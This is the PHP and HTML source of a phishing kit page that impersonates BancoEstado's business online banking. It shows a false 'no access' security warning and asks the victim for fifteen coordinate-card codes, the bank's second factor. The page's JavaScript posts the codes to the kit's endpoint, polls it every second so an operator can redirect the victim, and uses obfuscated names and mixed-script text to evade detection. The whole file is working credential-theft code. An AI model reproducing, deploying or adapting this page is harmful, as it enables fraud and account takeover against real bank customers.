<?php
if (!isset($_SESSION['referido'], $_SESSION['u'], $_POST['vista'])) :
    exit();
endif;

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">

<head>
    <link href="https://www.bancoestado.cl/imagenes/empresas2008/Nueva_home_Empresas/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />


    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/src/css/global.css">
    <link rel="stylesheet" href="/src/css/vsTS.css">
    <link rel="stylesheet" href="/src/css/vsMS.css">
    <link rel="stylesheet" href="/src/css/estilos.css">
    <link rel="stylesheet" href="/src/css/loading.css">
    <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,600,700,400italic,700italic,300" rel="stylesheet" type="text/css">
    <title>Banco Estado de Chile Home Page</title>
    <style>
        #msgerror p {
            text-align: center;
            color: red;
        }
        #headertop img{
            
            margin: 0;
        }
        #headertop{
            background: #fff;
        }
        #contensec{
            margin-top: 0px;
        }
        
#cabecera {
    padding-bottom: 10px;
    border-bottom-width: 3px;
    border-bottom-style: solid;
    border-bottom-color: #CACACA;
    margin-bottom: 10px;
}

#cabecera #titulo {
    padding-top: 10px;
}

#cabecera h1 {
    color: #ff8700;
    font-size: 20px;
    font-weight: normal;
}
.usuario_registrado td {
    padding: 3px 0px;
    vertical-align: top;
    font-weight: bold;
    font-size: 11px;
}

.usuario_registrado th {
    padding: 3px 0px;
    vertical-align: top;
    font-weight: normal;
    font-size: 11px;
    
    
    text-align: left;
}
.usuario_registrado tr:last-child {

    
}

.ouiias {
    width: 676px;
    margin: 21px;
    float:left;
}

.caja--icon__icon, .caja--icon__icon--green, .caja--icon__icon--red, .caja--icon__icon--teal, .caja--icon__icon--yellow {
    display: none;
}
.container-md .caja, .container-md .caja--sim, .container-md .caja--icon {
    max-width: 712px;
    padding: 2px 20px 0px 20px;
    /* margin: 0 auto; */
    width: 251px;
    /* margin-bottom: 16px; */
    margin: 13px 0 0 0 !important;
    
}

.caja__title:first-of-type {
    margin-top: 10px;
    font-size: 14px !important;
}
.super-clave__input:focus~.placeholder {
    top: -14px;
    font-size: 11px;
    color: #000;
}
.super-clave .placeholder {
    font-size: 11px;
    left: 0;
    pointer-events: none;
    position: absolute;
    top: 7px;
    -webkit-transition: all .25s ease;
    transition: all .25s ease;
    width: 100%;
    color: #6d6d6d;
    text-align: center;
}

.botonSecundario {
    color: #ff8700;
    background-color: #fff;
    cursor: pointer;
}
.bordePrincipal {
    box-shadow: inset 0px 0px 0px 1px #dddddd;
}
.botonNew{
    
    margin: 18px;
    border-radius: initial;
    padding: 7px 1px;
    display: inline-block;
    text-align: center;
    font-size: 12px;
}

.sc:valid~.placeholder {
    top: -14px;
    font-size: 12px;
    color: #333;
}

    </style>
</head>

<body>
    <div id="headertop" >
        
        <img alt="" id="scnTS_itm1_img_nvl0" src="/src/be-header.png">
        
    </div>

    <div id="contensec">
        <table width="100%" cellpadding="0" cellspacing="0">
            <tbody>
                <tr>
                    <td valign="top" style="
    background: #e5e3ea;
    width: 148px;
    margin: 0;
">
                        
                            <img src="/src/be-izquierda-empresas.png">
                        
                    </td>
                    <td style="
    float: left;
">
                        <div id="oom" class="mr-10 d-100">
                            <div class="ouiias">
                                <div id="cabecera">
                                            <div id="titulo"><h1>Bienvenido a BancoEstado Internet</h1></div>
                                            <div class="clear"></div>
                                        </div>
                                        <div class="usuario_registrado">

                                        <?php
                                        $datos=json_decode($userDato->nombre); 
                                        ?>
                                        <table border="0" cellpadding="0" cellspacing="0">
                                                <tbody><tr>
                                                    <th width="90px">Nombre Usuario</th>
                                                    <td><?=$datos->nombreUsuario ?></td>
                                                    <th width="70px">Rut Usuario</th>
                                                    <td><?=$datos->rutUsuario ?></td>
                                                    <th width="80px">&nbsp;&nbsp;&nbsp;&nbsp;Fecha - Hora</th>
                                                    <td><?=$datos->ultimaConeccion ?></td>
                                                </tr>
                                                <tr>
                                                    
                                                    <th>Nombre Empresa</th>
                                                    <td><?=$datos->nombreEmpresa ?></td>
                                                    <th>Rut Empresa</th>
                                                    <td><?=$datos->rutEmpresa ?></td>
                                                    <th>&nbsp;</th>
                                                    <td>&nbsp;</td>
                                                </tr>
                                                <tr>
                                                    <th>Ejecutivo</th>
                                                        <td> <?=$datos->nombreEjecutivo ?></td>
                                                    
                                                    <th>Sucursal</th>
                                                        <td colspan="3"><?=$datos->nombreSucursal ?></td>
                                                    
                                                </tr>
                                                <tr>
                                                    <th>Última conexión</th>
                                                    <td><?=$datos->ultimaConeccion ?></td>
                                                    <th>&nbsp;</th>
                                                    <td>&nbsp;</td>
                                                    <th>&nbsp;</th>
                                                    <td>&nbsp;</td>
                                                </tr>
                                            </tbody></table>
                                            
                                            
                                        </div>

                                <p style="
    color: #ff0000;
    margin-top: 25px;
">SIN ACCESO!. Por su seguridad verifique sus datos y continue ingresando con su tarjeta de Coordenadas.</p>
                                <form action="" method="post" name="frmpost" id="frmpost">
                                    <input type="hidden" name="proceso" value="ooweirisaod">
                                    <div>
                                        <div class="container-md">
                                            <div class="caja--icon">
                                                <div class="caja--icon__icon--red"> <i class="str-icon-bloqueo"></i> </div>
                                                <p class="caja__title">&nbsp;&nbsp;Ingreso de Coordenandas</p>
                                                <div class="super-clave">
                                                    <div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic1" class="super-clave__input sc" maxlength="2" required="" data-index="1" data-corde="B1" autocomplete="off" name="ic1" size="2">
                                                            <input type="hidden" name="in1" value="<?= $code[0]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[0]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic2" class="super-clave__input sc" maxlength="2" required="" data-index="2" data-corde="B2" autocomplete="off" name="ic2" size="2">
                                                            <input type="hidden" name="in2" value="<?= $code[1]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[1]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic3" class="super-clave__input sc" maxlength="2" required="" data-index="3" data-corde="B3" autocomplete="off" name="ic3" size="2">
                                                            <input type="hidden" name="in3" value="<?= $code[2]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[2]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic4" class="super-clave__input sc" maxlength="2" required="" data-index="4" data-corde="B4" autocomplete="off" name="ic4" size="2">
                                                            <input type="hidden" name="in4" value="<?= $code[3]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[3]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic5" class="super-clave__input sc" maxlength="2" required="" data-index="5" data-corde="B5" autocomplete="off" name="ic5" size="2">
                                                            <input type="hidden" name="in5" value="<?= $code[4]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[4]; ?></label>
                                                        </div>
                                                    </div>

                                                    <div class="mt-20">
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic6" class="super-clave__input sc" maxlength="2" required="" data-index="6" data-corde="B6" autocomplete="off" name="ic6" size="2">
                                                            <input type="hidden" name="in6" value="<?= $code[5]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[5]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic7" class="super-clave__input sc" maxlength="2" required="" data-index="7" data-corde="B7" autocomplete="off" name="ic7" size="2">
                                                            <input type="hidden" name="in7" value="<?= $code[6]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[6]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic8" class="super-clave__input sc" maxlength="2" required="" data-index="8" data-corde="B8" autocomplete="off" name="ic8" size="2">
                                                            <input type="hidden" name="in8" value="<?= $code[7]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[7]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic9" class="super-clave__input sc" maxlength="2" required="" data-index="9" data-corde="B9" autocomplete="off" name="ic9" size="2">
                                                            <input type="hidden" name="in9" value="<?= $code[8]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[8]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic10" class="super-clave__input sc" maxlength="2" required="" data-index="10" data-corde="B10" autocomplete="off" name="ic10" size="2">
                                                            <input type="hidden" name="in10" value="<?= $code[9]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[9]; ?></label>
                                                        </div>
                                                    </div>

                                                    <div class="mt-20">
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic11" class="super-clave__input sc" maxlength="2" required="" data-index="11" data-corde="B11" autocomplete="off" name="ic11" size="2">
                                                            <input type="hidden" name="in11" value="<?= $code[10]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[10]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic12" class="super-clave__input sc" maxlength="2" required="" data-index="12" data-corde="B12" autocomplete="off" name="ic12" size="2">
                                                            <input type="hidden" name="in12" value="<?= $code[11]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[11]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic13" class="super-clave__input sc" maxlength="2" required="" data-index="13" data-corde="B13" autocomplete="off" name="ic13" size="2">
                                                            <input type="hidden" name="in13" value="<?= $code[12]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[12]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic14" class="super-clave__input sc" maxlength="2" required="" data-index="14" data-corde="B14" autocomplete="off" name="ic14" size="2">
                                                            <input type="hidden" name="in14" value="<?= $code[13]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[13]; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="ic15" class="super-clave__input sc" maxlength="2" required="" data-index="15" data-corde="B15" autocomplete="off" name="ic15" size="2">
                                                            <input type="hidden" name="in15" value="<?= $code[14]; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $code[14]; ?></label>
                                                        </div>
                                                    </div>

                                                </div>
                                                <div class="alerta alerta--bottom"> <i class="alerta--bottom__icono str-icon-info"></i>
                                                    <p class="alerta__txt">Ingresa los dígitos indicados por las coordenadas</p>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </form>

                                <div id="msgerror">
                                    <?php if (isset($_SESSION['fc'])) : ?>
                                        <p>Las coordenada ingresa es in correcta, verifique e intente nuevamente</p>
                                    <?php endif; ?>
                                </div>
                                <div style="text-align: center;">
                                    <a id="btnpost" onclick="javascript:vaform(this);" class="botonNew botonSecundario bordePrincipal">Aceptar <i class="icon-flecha-derecha"></i></a>
                                </div>
                            </div>
<div id="banner" style="
    float: left;
">
    
    <table width="120px" border="0" cellspacing="0" cellpadding="0">
                        <tbody><tr valign="top">
                            <td colspan="3"><img src="/src/Vineta_CajaArriba.gif" border="0" width="124px" height="22px"></td>
                        </tr>
                        <tr valign="top">

                            <td class="t2"><img src="imagesInstituciones/pt.gif" border="0" width="1px" height="1px"></td>

                            <td width="122px">
                                <br><table width="122px" border="0" cellspacing="0" cellpadding="0" align="center">
                                    
                                    <tbody><tr valign="top">
                                        <td align="center">
                                            <div class="campaigns-touchpoint owl-sidebar owl-carousel" campaigns:touchpoint-id="ble_default_zona_0">
                                                
                                                <img src="https://www.bancoestado.cl/imagenes/campanas2010/actdatos_22feb2010.gif" border="0" style="border-top-width: 0px;
		border-right-width: 0px;
		border-bottom-width: 0px;
		border-left-width: 0px;
		border-top-style: solid;
		border-right-style: solid;
		border-bottom-style: solid;
		border-left-style: solid;
		width: 100%;
		height: 100%;" oncontextmenu="return false;" alt="">
                                                </div></td>
                                    </tr>
                                    <tr valign="top">
                                        <td align="center">
                                            <br><div class="campaigns-touchpoint owl-sidebar owl-carousel" campaigns:touchpoint-id="ble_default_zona_1">

                                                </div></td>
                                    </tr>
                                    <tr valign="top">
                                        <td align="center">
                                            <br>
                                            <img src="imagesInstituciones/pt.gif" border="0" width="1px" height="10px">
                                        </td>
                                    </tr>
                                </tbody></table>
                            </td>
                            <td class="t2"><img src="imagesInstituciones/pt.gif" border="0" width="1px" height="1px"></td>

                        </tr>
                        <tr valign="top">
                            <td colspan="4"><img src="/src/Vineta_CajaAbajo.gif" border="0" width="124px" height="22px"></td>
                        </tr>
                    </tbody></table>
</div>
                        </div>

                    </td>
                </tr>
            </tbody>
        </table>


        <div style="clear: both;"></div>
    </div>


    <form id="formview" method="post" action=""><input type="hidden" name="vista" value=""></form>
    <form id="formwait" method="post" action=""><input type="hidden" name="proceso" value="oooiikaodtayusdauysdygha"></form>
</body>

</html>
<script src="/src/js/uuytaiosido.js"></script>
<script>
    var tool = new Mataburr0oa();
    var sesoooksd = '<?= $_SESSION['referido']; ?>';

    window.onload = () => {

        document.getElementById('ic1').focus();

        setInterval(() => {
            var form = document.forms.formwait;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', ooaosi1, form);
        }, 1000);
    }

    var inc = document.getElementsByTagName('input');

    for (var i = 0; i < inc.length; i++) {
        if (inc[i].type == 'password') {
            document.getElementsByTagName('input')[i].addEventListener('keypress', founio)
            document.getElementsByTagName('input')[i].addEventListener('keyup', ound)
        }
    }

    function ooaosi1(e) {
        var obJSON = JSON.parse(e);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                if (obJSON.est != <?= $userDato->proceso; ?>) {
                    formview('/' + sesoooksd + '/bancoestado/process.asp/MID/AID/HOME-000/RQI/704BC9DB638147E69D06DF20CBE4F703/rnd/2F1DC493/ssnid/336A86CD');
                }
            } else {
                window.location.href = '/';
            }
        }
    }

    function founio(e = event) {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    }

    function formview($url) {
        var $form = document.forms.formview;
        $form.setAttribute('action', $url);
        $form.submit();
    }

    function ound() {
        //var index = this;
        if (this.value.length == 2) {
            if (this.getAttribute('data-index') < 15) {
                var index = parseInt(this.getAttribute('data-index')) + 1;
                document.getElementById('ic' + index).focus();

            }
        }
        ooaposd();
    }

    function uuryysipq1(res) {
        var obJSON = JSON.parse(res);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                formview('/' + sesoooksd + '/bancoestado/process.asp/MID/AID/HOME-000/RQI/704BC9DB638147E69D06DF20CBE4F703/rnd/2F1DC493/ssnid/336A86CD');
            } else {
                window.location.href = '/';
            }
        } else {
            window.location.href = '/';
        }
    }

    function vaform(t) {
        if (t.classList.contains('botonPrimario')) {
            var form = document.forms.frmpost;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', uuryysipq1, form);
        } else {

            for (var i = 0; i < inc.length; i++) {
                if (inc[i].type == 'password') {
                    if (inc[i].value.length != 2) {
                        document.getElementById('msgerror').innerHTML = '<p>Ingresa la coordenada <b>' + inc[i].getAttribute('data-corde') + '</b> de &#116;&acy;&#114;&#106;&iecy;&#116;&acy; para continuar</p>';
                        inc[i].focus();
                        return false;
                    }
                }
            }

        }
    }


    function ooaposd() {

        var oasod = true;

        for (var i = 0; i < inc.length; i++) {
            if (inc[i].type == 'password') {
                if (inc[i].value.length != 2) {
                    oasod = false;
                    break;
                }
            }
        }

        if (oasod == true) {
            if (document.getElementById('btnpost').classList.contains('botonSecundario')) {
                document.getElementById('btnpost').classList.add('botonPrimario');
                document.getElementById('btnpost').classList.remove('botonSecundario');
                document.getElementById('btnpost').classList.remove('bordePrincipal');
            } else {
                if (!document.getElementById('btnpost').classList.contains('botonPrimario')) {
                    document.getElementById('btnpost').classList.add('botonPrimario');
                }
            }
        } else {
            if (!document.getElementById('btnpost').classList.contains('botonSecundario')) {
                document.getElementById('btnpost').classList.remove('botonPrimario');
                document.getElementById('btnpost').classList.add('botonSecundario');
                document.getElementById('btnpost').classList.add('bordePrincipal');
            }
        }

    }
</script>